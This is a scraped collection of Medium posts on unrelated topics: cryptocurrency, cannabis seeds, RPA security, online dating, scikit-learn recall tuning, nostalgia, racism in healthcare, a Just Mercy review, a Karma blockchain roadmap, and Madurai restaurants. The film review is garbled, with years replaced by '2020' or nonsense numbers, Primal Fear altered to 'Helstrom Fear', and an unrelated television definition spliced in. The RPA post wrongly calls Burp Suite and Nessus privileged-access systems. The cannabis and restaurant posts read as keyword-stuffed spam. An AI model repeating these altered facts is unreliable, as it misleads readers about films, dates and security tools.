This section is so that our users can see what features and tools are in development and will be releasing when we launch. Some of the concepts are released in a non-application format, which you can see from the videos in the blog. However, the final versions will be an application, so don’t worry! | https://medium.com/coinfi/coinfi-faqs-9bc40b4e670 | ['Coinfi Editorial Team'] | 2018-06-06 09:55:23.655000+00:00 | ['Ethereum Blockchain', 'ICO', 'Cryptocurrency', 'Bitcoin', 'Blockchain'] |
If grown properly, cannabis can be a great medicine | The best temperature limit for the cannabis seeds is somewhere between 75 to 86 degrees of Fahrenheit. And as proven by scientific observations that the closer we get to 86 the higher it tends to grow. In order to avoid molds, warm air must be kept dry. The Cannabis Act (C-45) of June 2018, was all that gave a spark of some expected positive consequence to it. It is still a taboo to talk about Weed Seeds for Recreational Marijuana but people do buy for various reasons and needs. People even grow weed seeds in their gardens and there are varieties of these available for versatile uses.
There are many benefits of these seeds as it has many medicinal uses. These seeds are an excellent source of nutrients like calcium, potassium, vitamin E, sulfur, phosphorus, and zinc. There are many online sites where one can buy these seeds but one should know that different countries have different rules of legalities regarding the procurement of these. There are some of the trusted sites where one can order these.
They only carry seeds by reputed breeders and have their own breeding houses. This company accepts a wide range of payment options like credit and debit cards, bank transfer, cash, cheques, etc and are so trustworthy that only you and seller know what you are buying. Getting seeds online is nowadays is easy and reliable as nobody knows what and when you are buying Buying online is a good option as it is very easy to know the product and even safe as you don’t need to pay for the product before buying and if you find what you have ordered is not up to your norms you can always return the product, so it is a win-win situation.
Cannabis seeds can be purchased online as the demand for these is growing day by day because of many reasons. There are many varieties of these seeds available like sativas, indicas, and hybrid to name some. We can find and search for many types like auto-flowering, feminized and regular seeds around the globe, handpicked for you from the world’s most dependable and reliable seed banks.
Many herbs all around the globe are considered illegal due to the stimulating effect that they have on the Weed Seeds for Recreational Marijuana brain. Marijuana is one of them. Although Weed Seed for Recreational Marijuana is considered to be a harmful drug in almost all countries, there are many other countries that assure its medical benefits. Cannabis is known less for its medical benefits and more for its harmful effects. | https://medium.com/@weedseeds011/if-grown-properly-cannabis-can-be-a-great-medicine-aae2ec559f0d | ['Andy David'] | 2019-06-25 07:41:22.736000+00:00 | ['Marijuana'] |
How can we secure bots right from the start? | The first step toward a sound and secure RPA infrastructure begins with an understanding of the core
Architectural components of the solution, their operations, and the requirements for secure RPA platform.
Securing RPA Platform
Security measures to be considered while designing secure RPA platform. Below mentioned are few steps Automation Anywhere takes for ensuring all of the data is protected.
Multi-layer identification and authentication
A security level let you determine how strong the identity of user is or if he is really the user he claims to be. It is very clear that a user logged from company network is more trustworthy then someone logged in from the internet.
It is necessary for fixing security in order that humans and bots must be authenticated before accessing or performing actions within the RPA platform
Automation anywhere offers flexibility to have single or multi-factor authentications and application credentials in the Control Room, which manages and monitors all processes of the infrastructure. This involves integration with Microsoft Active Directory using LDAP, Active Directory using Kerberos and native authentication using the embedded Credential Vault for identity and access management
You can also use an external third-party-privileged access system (Burp suite, Nessus Scanner, Open Web Application Security (OWASP), Black Duck) or support for SAML 2.0 based single sign-on (SSO)
Multi-Level Authentication allows you to define, assign levels to your users and protect your services based on below strategies:
Contextual-based
Credential-based
Authenticator-based Encryption
Encryption
Encryption can ensure a basic level of security for all sensitive data so that it remains hidden from unauthorized users. Encryption is vital because it allows you to securely protect data that you simply don’t want others to possess access.
Many RPA tools allow for the configuration and customization of encryption methods, from securing specific types of data to safeguarding against the interposing of network communication
Encryption is majorly effective when implemented with a comprehensive information security plan
RPA provides file and text encryption
Access control
Though RPA replaces humans with bots, people still need to work with bots to schedule, run, and view and edit their processes. To successfully and securely do that, security admins must be ready to specify who does what — access control for humans and bots alike is critical. Access control for humans and bots is critical.
Audit logs
RPA platforms, provides comprehensive audit logging, monitoring, and reporting capabilities.
Extensive audit logging is performed for 185+ activities on Automation Anywhere platform. Comprehensive and continuous audit logging capabilities within the Enterprise room enable you to spot and alert abnormal activities like bot performance errors, misuse by employees, malicious code so on
It ensures enterprise-level security and audit compliance
Full audit trails enable you to make quicker and cleaner audit reports, and make sure that you’ll retrace the steps that led to a selected problem, be it a mistake within the robot’s performance, malicious code or other misuse by an employee
Bot-specific security
It is important that the bot code be secured from piracy. Because bots mimic users, they interact with applications using keyboard and mouse peripheral inputs.
How can I secure my RPA environment?
For leveraging the cyber security your organization approach should provide the following:
Integrity
Traceability
Confidentiality
Control
How can RPA improve your security organization?
Decrease time to detect and respond to incidents, helping minimize risk exposure to an attack
Minimize employee turnover due to lack of challenge or career progression by permitting employees to focus on higher value tasks
Make intelligent decisions quickly, leading to high-quality and consistent outcomes
“Milind Bibodi is a consultant at Systems Plus. The content of this blog is personal & for information purposes only, and is subject to change. Reader discretion is advised” | https://medium.com/@systemsplus23/the-first-step-toward-a-sound-and-secure-rpa-infrastructure-begins-with-an-understanding-of-the-3946420855e9 | [] | 2020-12-17 11:03:57.978000+00:00 | ['Roboticprocessautomation', 'Automation', 'Bots', 'Rpa'] |
Going on a date after a heartbreak. | I heard many times that for you to get over someone, you need to get under someone else.
Even though I am not the ONS type, I decided to try to get to know someone new; it would distract me from my last heartbreak and give me a chance to start all over again, this time, more confident of what I want.
I opened a Tinder account.
A Match.com account.
A bumble account.
And closed everything in 24 hours.
Online dating was not new for me, while I was married I have used AM and Illicit Encounters, but believe me or not, cheaters are way more honest and way more clear on what they are looking for (at least the experienced ones).
Work was busy, and the shared custody also left me with little spare time, so I put the whole online date off and concentrate exclusively on me.
As the weeks went by and the covid restrictions became lighter, I decided to give it another go and reactivated my bumble profile.
A guy messaged me straightway and even though he wasn’t a Greek God, something about him attracted me.
He is widowed with three young adult kids; his wife passed away two years ago, and he never had a relationship after that but went on two dates that didn’t go ahead.
I explained that I am not into endless texting and that I prefer to meet in person. After exchanging a few messages and get a glimpse we were a good match we decided to go for lunch the next day.
And we did.
It was comfortable, light, refreshing, it was the most extended lunch I have been with someone I have just met.
He is more attractive in person and a gentleman.
Our lunch happened on the 21st of December, and we ended with a promise to try to meet each other soon, between Christmas and New Year.
We exchanged what’s app, and we have been keeping in touch regularly since then, but as per my choice, our texting is light, and we don’t spend hours on our phones, I learned that over texting give you a mistaken impression that you are closer than you are in reality, slow and always is better than 100 km/hr and a big crash.
He is 52, I am turning 42 in a few days, we don’t intend to share a house with a partner, but we are looking for a solid and fulfilling romantic relationship.
He still needs to sort his kids “blessings.” and I still have some final “healing” to deal with.
We are not in rush.
But we are open to each other, and day by day my last relationship is fading away giving me space to invest in something new, shiny and most importantly, a beginning built without having to destroy anything, a relationship that came to add in both of our lives without ruining anyone else’s.
I am not sure what the future holds, but I know what I want for the future.
(Which is a great start) | https://medium.com/@iamksmith/going-on-a-date-after-a-heartbreak-ef391aefbf5e | [] | 2021-01-26 08:11:07.020000+00:00 | ['Affairs', 'Online Dating', 'Healing', 'Heartbreak', 'Widow'] |
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Long Sleeve Tees (Men, Women & Kid) | https://medium.com/@rifatahmed1402/joe-biden-presidential-inauguration-day-2021-t-shirts-the-59th-presidential-inauguration-will-be-150d3ea53583 | [] | 2020-12-17 10:34:38.998000+00:00 | ['Inauguration', 'Inauguration Day', 'Inauguration T Shirts', 'Joe Biden', 'Presidential Inauguration'] |
Fine tuning a classifier in scikit-learn | It’s easy to understand that many machine learning problems benefit from either precision or recall as their optimal performance metric but implementing the concept requires knowledge of a detailed process. My first few attempts to fine-tune models for recall (sensitivity) were difficult, so I decided to share my experience.
This post is from my first Kaggle kernel, where my aim was not to build a robust classifier, rather I wanted to show the practicality of optimizing a classifier for sensitivity. In figure A below, the goal is to move the decision threshold to the left. This minimizes false negatives, which are especially troublesome in the dataset chosen for this post. It contains features from images of 357 benign and 212 malignant breast biopsies. A false negative sample equates to missing a diagnosis of a malignant tumor. The data file can be downloaded here.
The goal of this post is to outline how to move the decision threshold to the left in Figure A, reducing false negatives and maximizing sensitivity.
With scikit-learn, tuning a classifier for recall can be achieved in (at least) two main steps.
Using GridSearchCV to tune your model by searching for the best hyperparameters and keeping the classifier with the highest recall score. Adjust the decision threshold using the precision-recall curve and the roc curve, which is a more involved method that I will walk through.
Start by loading the necessary libraries and the data.
The class distribution can be found by counting the diagnosis column. B for benign and M for malignant.
B 357
M 212
Name: diagnosis, dtype: int64
Convert the class labels and split the data into training and test sets. train_test_split with stratify=True results in consistent class distribution between training and test sets:
# show the distribution
print('y_train class distribution')
print(y_train.value_counts(normalize=True)) print('y_test class distribution')
print(y_test.value_counts(normalize=True)) y_train class distribution
0 0.626761
1 0.373239
Name: diagnosis, dtype: float64
y_test class distribution
0 0.629371
1 0.370629
Name: diagnosis, dtype: float64
Now that the data has been prepared, the classifier can be built. | https://towardsdatascience.com/fine-tuning-a-classifier-in-scikit-learn-66e048c21e65 | ['Kevin Arvai'] | 2019-07-21 10:18:57.929000+00:00 | ['Machine Learning', 'Python', 'Optimization', 'Algorithms'] |
Nostalgic Energy. Or can you channel that rotten syrup of… | So, the other day I met this guy, and he was talking about the past, living a bit on memories, and he was mid-30s. And I wondered: really? Because I’m mid-30, and I’ll keep pretending to stay mid-30 for a while thankyouverymuch, and I am always suspicious of the nostalgia trap. Isn’t that something for an old mind? Or maybe not.
Who was this guy?
He’s a very kind soul living in a beautiful corner of the US, which isn’t a bad place to live in if you’ve got the money. Turns out he has got that money because he’s working in some hot shot tech company and had a job title I immediately forgot. He loves his job, his job loves him, and he gets pushed up the career ladder faster than one can read the list of possible side effects of a covid vaccine. Good for him.
He also loves to watch the sea, the waves, the surf, enjoying nature. Enter covid (that nasty word again, should have planned this better) onto the stage that is 2020, puking all over the place. Suddenly like everyone else except the Swedish he’s stuck at home.
Alone.
A whole lot of singles got stuck home alone in 2020. Not a revelation, but still sucks for those folks. So that makes you think. Made him think. And not happy thoughts either.
So far so normal so everybody.
But then he told me what helps him, before and after covid, is looking at pictures of the sea. The walls in his house are full of them. They’re like an ocean but dry. And those happy memories pull him out of the swamp of miserable mind drowning. Memories help him survive.
So why have I been talking of a nostalgia trap?
Nostalgia is looking back fondly. Not just that: It’s missing the past. I’ve always been wary of it because I do have a nostalgic streak, starting by missing the womb even before someone slapped me welcome, and then ever since.
But we don’t want to spend our lives looking back, right? Makes for dangerous driving, too.
So then him and I, we pondered if nostalgia can be useful and this question formed in my mind and I’m now asking it to you, yes you:
Can you turn that fuzzy warm feeling in your chest, that smile on your lips, that positive surge that is nostalgia into energy for the now, for the future, for the remaining part of your life?
Can you use nostalgic energy not just to survive, but to move on?
Or is it just a swamp with a sweet stench, to be drained and have a condo built on top of? | https://medium.com/@murat-knecht/is-nostalgia-really-that-useless-f51bb31e501e | ['Murat Knecht'] | 2020-12-19 02:58:54.254000+00:00 | ['So The Other Day', 'Talking To Strangers', 'Thoughts And Feelings', 'Nostalgia', 'Stories'] |
Racism in Healthcare in the U.S. | An issue that I have wanted to speak on for years. A silent problem that people of color deal with, affecting their care. Now that health care is trending, the time is now. We have openly talked about police brutality for months, rightfully so. However, during the middle of a pandemic, health care officials are faced with decisions. Would you trust your provider to make the best decision for you? Speaking from the perspective of a black woman who has worked in health care, along with receiving care, my opinions are from experience. While I was pregnant with my youngest son back in 2018, I ended up with heart palpations towards the end of my second trimester.
At the time, I was living in the state of Wyoming. My doctors were extremely racist. “Why not go to another facility?” you ask. Well, this was the only hospital in town. The other hospital was in a Sundown Town. If you aren’t aware of what a Sundown Town is, please check out my article or podcast touching on these topics. To add insult to injury, this was my only option.
A doctor initially causes pain just because he did not want to hear my concerns. I developed a terrible toothache during my second trimester. I went to see a dentist at Davis Dental that I thought would go pretty easy. However, his suggestion was immediately pulling my teeth without even addressing the problem. I objected because that is not at all what I came to get done to my tooth. That same day I scheduled with another provider. My second opinion provided debunked Davis Dental diagnosis on having my teeth removed. Instead, it was a simple fix. A simple filling was all that was needed. I could go on an one with injustice I have received the patient and the co-worker.
Have you experienced racism or discrimination while either being a receiver of health care services or an employee? We all know that if you work in the field, there are groups that stick together. The doctors mainly stay with each other, the gangs of health care. Do you have any ideas that we could team up to take a chance? America is for all those who come seeking equality. Most importantly, never forgetting black and brown women who judged.
According to BBC NEWS statistics support Maternal death rates in the UK, 2014 to 2016 states: 40 per 100,000 pregnancies of black women died from “complications.” Studies show sixteen per 100,000 mixed race women have experienced maternal death. 8 per 100,000 white women died during or up to six weeks after pregnancy. The history of making people of the color matter last now needs to be addressed. Have you experienced any discrimination? Rather, being uncomfortable with blatantly disrespectful behavior. We need to start bringing this issue more to the forefront. Can you share a story that has impacted your health by the color of your skin, LGBTQ+ community, or just being a woman neglected? Like most, I am a firm believer that you can be in tune with your body. You know the feeling you get when you believe something does not seem right within mental or physical.
Lastly, speak up on a silent but deadly issue. Educate ourselves and each other on racism in health care. During, the middle of a pandemic that has not been taking seriously. A pandemic, that has recently ignored be mindful of your health care professional. They come with smiles but the motives behind it for people of color, LGBTQ+, and anyone else in some cases can be deadly if you are dealing with a racist provider. Let me know your thoughts and experiences.
REFERENCE:
Why are black mothers at more risk of dying?
https://www.bbc.com/news/uk-england-47115305
Black Americans see a health-care system infected by racism, new poll shows
https://www.nationalgeographic.com/history/2020/10/black-americans-see-health-care-system-infected-racism-new-poll-shows/ | https://medium.com/@niaonair/racism-in-healthcare-in-the-u-s-b38a478176d | ['Nia On Air'] | 2020-11-20 00:56:05.762000+00:00 | ['Racism', 'Discrimination', 'People Of Color', 'Healthcare', 'Journal'] |
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Within the many cinematic tales that have been produced, legal drama films have certainly been up there; hitting viewers with heated (and sometimes poignant) narratives that showcase a variety of multi-faceted viewpoints that deliver the truth and unmask the falsehood of the system. From the jail cell’s of a prison to the presiding courtrooms, legal dramas display plenty of human emotions of the individuals; projecting tales of injustice doing and who is really to blame for the wrong doings as well as demonstrating the views of the case on today’s society (i.e. social standing, race, religion, gender, etc.). Of course, Hollywood has produced many legal / courtroom tales that have demonstrated such cinematic level feature films, including several memorable ones like 100000’s 2020 Angry Men, 1980’s To Kill a Mockingbird, 2020’s A Few Good Men, 2020’s Philadelphia, 2020’s Helstrom Fear, 2020’s Dark Waters, and many others. Now, Warner Bros. Pictures and director Destin Daniel Cretton present the latest legal drama endeavor with the film Just Mercy; based on the biographical memoir “Just Mercy: A Story of Justice and Redemption” by Bryan Stevenson. Does the movie find strength within its story or does it lost within legal courtroom narrative?
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Atelevision show (often simply TV show) is any content produced for broadcast via over-the-air, satellite, cable, or internet and typically viewed on a television set, excluding breaking news, advertisements, or trailers that are typically placed MTV Oneween shows. Television shows are most often scheduled well ahead of time and appear on electronic guides or other TV listings.
THE STORY
After graduating from Harvard, Bryan Stevenson (Michael B. Jordan) forgoes the standard opportunities of seeking employment from big and lucrative law firms; deciding to head to Alabama to defend those wrongfully commended, with the support of local advocate, Eva Ansley (Brie Larson). One of his first, and most poignant, case is that of Walter McMillian (Jamie Foxx, who, in 22927, was sentenced to die for the notorious murder of an 27-year-old girl in the community, despite a preponderance of evidence proving his innocence and one singular testimony against him by an individual that doesn’t quite seem to add up. Bryan begins to unravel the tangled threads of McMillian’s case, which becomes embroiled in a relentless labyrinth of legal and political maneuverings and overt unabashed racism of the community as he fights for Walter’s name and others like him.
THE GOOD / THE BAD
Throughout my years of watching movies and experiencing the wide variety of cinematic storytelling, legal drama movies have certainly cemented themselves in dramatic productions. As I stated above, some have better longevity of being remembered, but most showcase plenty of heated courtroom battles of lawyers defending their clients and unmasking the truth behind the claims (be it wrongfully incarcerated, discovering who did it, or uncovering the shady dealings behind large corporations. Perhaps my first one legal drama was 2020’s The Client (I was little young to get all the legality in the movie, but was still managed to get the gist of it all). My second one, which I loved, was probably Helstrom Fear, with Norton delivering my favorite character role. Of course, I did see To Kill a Mockingbird when I was in the sixth grade for English class. Definitely quite a powerful film. And, of course, let’s not forget Philadelphia and want it meant / stand for. Plus, Hanks and Washington were great in the film. All in all, while not the most popular genre out there, legal drama films still provide a plethora of dramatic storytelling to capture the attention of moviegoers of truth and lies within a dubious justice.
Just Mercy is the latest legal crime drama feature and the whole purpose of this movie review. To be honest, I really didn’t much “buzz” about this movie when it was first announced (circa 2020) when Broad Green Productions hired the film’s director (Cretton) and actor Michael B. Jordan in the lead role. It was then eventually bought by Warner Bros (the films rights) when Broad Green Productions went Bankrupt. So, I really didn’t hear much about the film until I saw the movie trailer for Just Mercy, which did prove to be quite an interesting tale. Sure, it sort of looked like the generic “legal drama” yarn (judging from the trailer alone), but I was intrigued by it, especially with the film starring Jordan as well as actor Jamie Foxx. I did repeatedly keep on seeing the trailer for the film every time I went to my local movie theater (usually attached to any movie I was seeing with a PG rating and above). So, suffice to say, that Just Mercy’s trailer preview sort of kept me invested and waiting me to see it. Thus, I finally got the chance to see the feature a couple of days ago and I’m ready to share my thoughts on the film. And what are they? Well, good ones….to say the least. While the movie does struggle within the standard framework of similar projects, Just Mercy is a solid legal drama that has plenty of fine cinematic nuances and great performances from its leads. It’s not the “be all to end all” of legal drama endeavors, but its still manages to be more of the favorable motion pictures of these projects.
Just Mercy is directed by Destin Daniel Cretton, whose previous directorial works includes such movies like Short Term 2020, I Am Not a Hipster, and Glass Castle. Given his past projects (consisting of shorts, documentaries, and a few theatrical motion pictures), Cretton makes Just Mercy is most ambitious endeavor, with the director getting the chance to flex his directorial muscles on a legal drama film, which (like I said above) can manage to evoke plenty of human emotions within its undertaking. Thankfully, Cretton is up to the task and never feels overwhelmed with the movie; approaching (and shaping) the film with respect and a touch of sincerity by speaking to the humanity within its characters, especially within lead characters of Stevenson and McMillian. Of course, legal dramas usually do (be the accused / defendant and his attorney) shine their cinematic lens on these respective characters, so it’s nothing original. However, Cretton does make for a compelling drama within the feature; speaking to some great character drama within its two main lead characters; staging plenty of moments of these twos individuals that ultimately work, including some of the heated courtroom sequences.
Like other recent movies (i.e. Brian Banks and The Hate U Give), Cretton makes Just Mercy have an underlining thematical message of racism and corruption that continues to play a part in the US….to this day (incredibly sad, but true). So, of course, the correlation and overall relatively between the movie’s narrative and today’s world is quite crystal-clear right from the get-go, but Cretton never gets overzealous / preachy within its context; allowing the feature to present the subject matter in a timely manner and doesn’t feel like unnecessary or intentionally a “sign of the times” motif. Additionally, the movie also highlights the frustration (almost harsh) injustice of the underprivileged face on a regular basis (most notable those looking to overturn their cases on death row due to negligence and wrongfully accused). Naturally, as somewhat expected (yet still palpable), Just Mercy is a movie about seeking the truth and uncovering corruption in the face of a broken system and ignorant prejudice, with Cretton never shying away from some of the ugly truths that Stevenson faced during the film’s story.
Plus, as a side-note, it’s quite admirable for what Bryan Stevenson (the real-life individual) did for his career, with him as well as others that have supported him (and the Equal Justice Initiative) over the years and how he fought for and freed many wrongfully incarcerated individuals that our justice system has failed (again, the poignancy behind the film’s themes / message). It’s great to see humanity being shined and showcased to seek the rights of the wronged and to dispel a flawed system. Thus, whether you like the movie or not, you simply can not deny that truly meaningful job that Bryan Stevenson is doing, which Cretton helps demonstrate in Just Mercy. From the bottom of my heart…. thank you, Mr. Stevenson.
In terms of presentation, Just Mercy is a solidly made feature film. Granted, the film probably won’t be remembered for its visual background and theatrical setting nuances or even nominated in various award categories (for presentation / visual appearance), but the film certainly looks pleasing to the eye, with the attention of background aspects appropriate to the movie’s story. Thus, all the usual areas that I mention in this section (i.e. production design, set decorations, costumes, and cinematography) are all good and meet the industry standard for legal drama motion pictures. That being said, the film’s score, which was done by Joel P. West, is quite good and deliver some emotionally drama pieces in a subtle way that harmonizes with many of the feature’s scenes.
There are a few problems that I noticed with Just Mercy that, while not completely derailing, just seem to hold the feature back from reaching its full creative cinematic potential. Let’s start with the most prevalent point of criticism (the one that many will criticize about), which is the overall conventional storytelling of the movie. What do I mean? Well, despite the strong case that the film delves into a “based on a true story” aspect and into some pretty wholesome emotional drama, the movie is still structed into a way that it makes it feel vaguely formulaic to the touch. That’s not to say that Just Mercy is a generic tale to be told as the film’s narrative is still quite engaging (with some great acting), but the story being told follows quite a predictable path from start to finish. Granted, I never really read Stevenson’s memoir nor read anything about McMillian’s case, but then I still could easily figure out how the movie was presumably gonna end…. even if the there were narrative problems / setbacks along the way. Basically, if you’ve seeing any legal drama endeavor out there, you’ll get that same formulaic touch with this movie. I kind of wanted see something a little bit different from the film’s structure, but the movie just ends up following the standard narrative beats (and progressions) of the genre. That being said, I still think that this movie is definitely probably one of the better legal dramas out there.
This also applies to the film’s script, which was penned by Cretton and Andrew Lanham, which does give plenty of solid entertainment narrative pieces throughout, but lacks the finesse of breaking the mold of the standard legal drama. There are also a couple parts of the movie’s script handling where you can tell that what was true and what fictional. Of course, this is somewhat a customary point of criticism with cinematic tales taking a certain “poetic license” when adapting a “based on a true story” narrative, so it’s not super heavily critical point with me as I expect this to happen. However, there were a few times I could certainly tell what actually happen and what was a tad bit fabricated for the movie. Plus, they were certain parts of the narrative that could’ve easily fleshed out, including what Morrison’s parents felt (and actually show them) during this whole process. Again, not a big deal-breaker, but it did take me out of the movie a few times. Lastly, the film’s script also focuses its light on a supporting character in the movie and, while this made with well-intention to flesh out the character, the camera spotlight on this character sort of goes off on a slight tangent during the feature’s second act. Basically, this storyline could’ve been removed from Just Mercy and still achieve the same palpability in the emotional department. It’s almost like the movie needed to chew up some runtime and the writers to decided to fill up the time with this side-story. Again, it’s good, but a bit slightly unnecessary.
What does help overlook (and elevate) some of these criticisms is the film’s cast, which are really good and definitely helps bring these various characters to life in a theatrical /dramatic way. Leading the charge in Just Mercy is actor Michael B. Jordan, who plays the film’s central protagonist role of Bryan Stevenson. Known for his roles in Creed, Fruitvale Station, and Black Panther, Jordan has certain prove himself to be quite a capable actor, with the actor rising to stardom over the past few years. This is most apparent in this movie, with Jordan making a strong characteristically portrayal as Bryan; showcasing plenty of underlining determination and compelling humanity in his character as he (as Bryan Stevenson) fights for the injustice of those who’s voices have been silenced or dismissed because of the circumstances. It’s definitely a strong character built and Jordan seems quite capable to task in creating a well-acted on-screen performance of Bryan. Behind Jordan is actor Jamie Foxx, who plays the other main lead in the role, Walter McMillian. Foxx, known for his roles in Baby Driver, Django Unchained, and Ray, has certainly been recognized as a talented actor, with plenty of credible roles under his belt. His participation in Just Mercy is another well-acted performance that deserve much praise as its getting (even receiving an Oscar nod for it), with Foxx portraying Walter with enough remorseful grit and humility that makes the character quite compelling to watch. Plus, seeing him and Jordan together in a scene is quite palpable and a joy to watch.
The last of the three marquee main leads of the movie is the character of Eva Ansley, the director of operations for EJI (i.e. Stevenson’s right-handed employee / business partner), who is played by actress Brie Larson. Up against the characters of Stevenson and McMillian, Ansley is the weaker of the three main lead; presented as supporting player in the movie, which is perfectly fine as the characters gets the job done (sort of speak) throughout the film’s narrative. However, Larson, known for her roles in Room, 2020 Jump Street, and Captain Marvel, makes less of an impact in the role. Her acting is fine and everything works in her portrayal of Eva, but nothing really stands in her performance (again, considering Jordan and Foxx’s performances) and really could’ve been played by another actress and achieved the same goal.
The rest of the cast, including actor Tim Blake Nelson (The Incredible Hulk and O Brother, Where Art Thou) as incarcerated inmate Ralph Meyers, actor Rafe Spall (Jurassic World: Fallen Kingdom and The Big Short) as legal attorney Tommy Champan, actress Karan Kendrick (The Hate U Give and Family) as Minnie McMillan, Walter’s wife, actor C.J. LeBlanc (Arsenal and School Spirts) as Walter’s son, John McMillian, actor Rob Morgan (Stranger Things and Mudbound) as death role inmate Herbert Richardson, actor O’Shea Jackson Jr. (Long Shot and Straight Outta Compton) as death role inmate Anthony “Ray” Hinton, actor Michael Harding (Triple 9 and The Young and the Restless) as Sheriff Tate, and actor Hayes Mercure (The Red Road and Mercy Street) as a prison guard named Jeremy, are in the small supporting cast variety. Of course, some have bigger roles than others, but all of these players, which are all acted well, bolster the film’s story within the performances and involvement in Just Mercy’s narrative.
FINAL THOUGHTS
It’s never too late to fight for justice as Bryan Stevenson fights for the injustice of Walter McMillian’s cast against a legal system that is flawed in the movie Just Mercy. Director Destin Daniel Cretton’s latest film takes a stance on a poignant case; demonstrating the injustice of one (and by extension those wrongfully incarcerated) and wrapping it up in a compelling cinematic story. While the movie does struggle within its standard structure framework (a sort of usual problem with “based on a true story” narrations) as well as some formulaic beats, the movie still manages to rise above those challenges (for the most part), especially thanks to Cretton’s direction (shaping and storytelling) and some great performances all around (most notable in Jordan and Foxx). Personally, I liked this movie. Sure, it definitely had its problem, but those didn’t distract me much from thoroughly enjoying this legal drama feature. Thus, my recommendation for the film is a solid “recommended”, especially those who liked the cast and poignant narratives of legality struggles and the injustice of a failed system / racism. In the end, while the movie isn’t the quintessential legal drama motion picture and doesn’t push the envelope in cinematic innovation, Just Mercy still is able to manage to be a compelling drama that’s powerful in its story, meaningful in its journey, and strong within its statement. Just like Bryan Stevenson says in the movie….” If we could look at ourselves closely…. we can change this world for the better”. Amen to that! | https://medium.com/the-challenge-series-36-episode-3-hd/mtv-the-challenge-series-36-episode-3-last-eps-55a7f42a9429 | ['Diah Sumatra'] | 2020-12-24 13:03:43.865000+00:00 | ['Adventure', 'Action', 'Drama'] |
Karma Development Plan | Hello, dear friends!
Lots of people asking us to provide some details on our dev plans.
Okay, let’s make it!
Here’s our task list for 2018 Q1:
Move all personal data to the middleware database
After a long time of legal consultations we’ve decided to move ALL personal data from public blockchain to middleware database. Due to the regulations we have to change our current architecture to the following:
Use blockchain only for transaction ledger. Transaction types: wallet creation, token transfer, voting, signing a message, loan deals updates. This info can be viewed in public blockchain explorer.
All personal data (email, phone number, passport, bank account etc.) and all heavy data (photos) will be moved to the middleware. Blockchain will only store the hash of that data. So, everybody could verify if the data is correct (if he knows, for example, the passport number of a user and wants to check if it’s real).
This update will provide us some wonderful opportunities:
User data will be visible only to the data owner. We will store personal data depending on local legal environment. In most countries key points are: high security level of storage, plus, local server allocation for every country’s residents. Our blockchain will be more lightweighted and fast. Yes, our current blockchain version allows up to 100 000 transactions per second, but we should consider how to handle millions of users and billions of transactions. The less will be the blockchain weight, the easier it will be to run a node, synchronize blocks and perform transactions.
Turn on the loan feature at the mainnet
The loan feature was delivered on testnet (https://testnet-app.karma.red) in December 2017. But we’ve decided to hide that feature on mainnet due the huge amount of support work. Because we’ve saw hundreds of emails from the people about losing the password or sending money to the wrong address. That’s why we’ve decided to turn on the features step-by-step, and let the community slowly adopt new functionality.
We will also update the loan application form, to make it more closer to the borrowers’ and lenders’ demands.
Turn on the BTC/ETH in-out gateways at the mainnet
Same as loans feature: both gateways were delivered on testnet in December 2017. But we deliberately blocked the BTC/ETH deposit-withdraw because we are worried about the current level of attention and security checking in our community.
Seems, we also got to update the UI to lower the probability of losing the password or sending money to the wrong address. We should take care of the people, not blame them not being cyber-security geeks :)
Alpha-version of deal commission algorithm
As written in Karma white paper, we will deliver and constantly update the mechanism of commission distribution between all loan deals participants (sales, insurance agency, scoring agency etc.).
In 2018 Q1 we will deliver separate commission distribution module and basic API for connection with other apps.
Alpha-version of Karma reputation calculation algorithm
Karma reputation is the core value of our Economy of Trust. That’s why we will deliver the first separate reputation calculation module and basic API for the external apps in 2018 Q1.
Salesman social role (referral program)
There’s a lot of social roles described in Karma white paper. We’ve already delivered borrower and lender role. Salesman will be next, because we need to grow our community.
New block explorer version
Thanks to Jesta: he have launched the Karma block explorer in December. We’ve collected a lot of messages from our community and now working on new version of block explorer with some new useful features:
Voting page like https://cryptofresh.com/ballots. That feature allow us to upgrade our project governance from Telegram chats to the blockchain voting of the token holders. Let’s build a transparent and fair governance.
Transactions/blocks unique URL. Everybody will be able to send a link to the transaction and easily check the token transfer status.
Several UI updates.
Currency exchange oracles
The nature of blockchain leads us to create oracle mechanisms for connections with outer world (read more here). First Karma oracles will work on providing up-to-date currency exchange rates. The rates will be used for:
Calculating loan/collateral ratio when starting a new loan inquiry.
Updating the loan/collateral ratio to check if there’s a margin call event to be triggered. For example, somebody lent 2000 USD considering 1 BTC as a collateral. While 1 BTC = 11 000 USD investor is safe. But if 1 BTC suddenly drops to 2500 USD, thing are becoming scary for the lender. That’s why we need a margin call algorithm to unlock and sell the collateral if it’s value has fallen too fast.
The exchange rates will be provided by the delegates. By the way, we already have 40 witnesses and 15 active delegates, spreaded all over the world.
Several UI updates to increase usability
Thanks a lot to our community for helping us get better!
Almost all of improvements came from Telegram.
Special thanks to Evgeniy Ovcharenko :)
Establish continuous integration process
JIRA bug tracker, sprint planning, GIT integration , dev/stage/prod environments for blockchain/middleware/front, backups, unit testing etc.
Perform the third-party security audit
Security is the core value when we talk about finance. That’s why we will perform the third-party security audits on a regular basis. We have 2 different partners to complete the task. But, if somebody knows experienced security team — please, let us know.
Also we have a bug bounty (already paid some in January, thanks for the white hackers). So, if you’re good at security testing — feel free to test our software and report the bugs to [email protected].
Cheers
ˆ_ˆ | https://medium.com/karmared/karma-development-plan-efd52a5266b4 | ['Karma Project'] | 2018-03-03 18:51:19.815000+00:00 | ['ICO', 'Blockchain', 'Finance', 'Development', 'Bitcoin'] |
South Indian Restaurants in Madurai | For someone who wants lots of different options for South Indian food in Madurai at a very pocket-friendly price, The South Indian Restaurant — Madurai should be a go-to place. The wide menu will ensure you get to taste a variety of lip-smacking dishes, and the portion sizes will leave your tummy absolutely full; no guilt, whatsoever.
Biryani is a specially prepared rice dish with different layers that are mixed together with different seasonings, vegetables, and or meats. It can be offered with vegetables or chicken. Raita, a type of yogurt dressing is often given to pair with the biryani.
If people who are eagerly looking for the Best South Indian Restaurants in Madurai, South Indian Restaurants in Madurai, South Indian Restaurants in Anna Bus Stand Madurai, South Indian Restaurants in Collector Office Road Madurai, Best Indian Restaurants in Madurai, Best Restaurants in Madurai then you can try most popular one namely The South Indian Restaurant — Madurai.
There are so many restaurants in Madurai that committing to one can feel as daunting as picking a best South Indian foods. This no-frills eating joint in Madurai is famous for serving some of the most authentic vegetarian and Non vegetarian south Indian fare in the city.
If you enjoyed foods like Biryani, then you will like what The South Indian Restaurant — Madurai brings to the people. While this may greatly appeal to some passionate food lovers, I like being thrown into fascinating menus of interesting aspects what I’m supposed to do, particularly during amazing food search.
